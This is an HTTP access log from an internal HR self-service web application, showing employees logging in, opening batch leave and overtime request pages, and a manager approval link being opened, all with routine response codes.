192.168.11.187 - - [03/Sep/2025:08:41:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:08:41:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198
192.168.11.187 - - [03/Sep/2025:08:41:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.187 - - [03/Sep/2025:08:41:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:08:41:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.187 - - [03/Sep/2025:08:41:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:08:41:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:08:41:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521
192.168.11.187 - - [03/Sep/2025:08:41:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12721 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.187 - - [03/Sep/2025:08:41:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12721
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 -
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/ess HTTP/1.1" 301 241
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.68 - - [03/Sep/2025:08:44:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.68 - - [03/Sep/2025:08:45:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.68 - - [03/Sep/2025:08:45:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.68 - - [03/Sep/2025:08:45:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.68 - - [03/Sep/2025:08:45:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.68 - - [03/Sep/2025:08:45:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [03/Sep/2025:08:45:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [03/Sep/2025:08:45:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.68 - - [03/Sep/2025:08:45:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [03/Sep/2025:08:45:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:45:49 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.68 - - [03/Sep/2025:08:45:49 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [03/Sep/2025:08:46:19 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [03/Sep/2025:08:46:19 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C HTTP/1.1" 200 -
172.21.0.176 - - [03/Sep/2025:08:46:20 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C HTTP/1.1" 200 4163
172.21.0.176 - - [03/Sep/2025:08:46:20 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
172.21.0.176 - - [03/Sep/2025:08:46:21 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:08:46:22 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406
172.21.0.176 - - [03/Sep/2025:08:46:22 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1BBBDD13656D810BEFDE9B9CF5D4589B92A89806F3A7BF1262E240C134591ED0B9D95B23BC3D9EE77FD83784FFA5CA8B5B9F70652DA92DC3C" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.68 - - [03/Sep/2025:08:46:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:46:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.68 - - [03/Sep/2025:08:46:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [03/Sep/2025:08:46:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:47:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.010067471668517514 HTTP/1.1" 200 8988
192.168.11.68 - - [03/Sep/2025:08:47:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.010067471668517514 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:47:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.010067471668517514 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.010067471668517514" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:47:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.010067471668517514 HTTP/1.1" 200 27500
192.168.11.68 - - [03/Sep/2025:08:50:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070
192.168.11.68 - - [03/Sep/2025:08:50:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:50:18 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.68 - - [03/Sep/2025:08:50:18 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [03/Sep/2025:08:50:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [03/Sep/2025:08:50:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
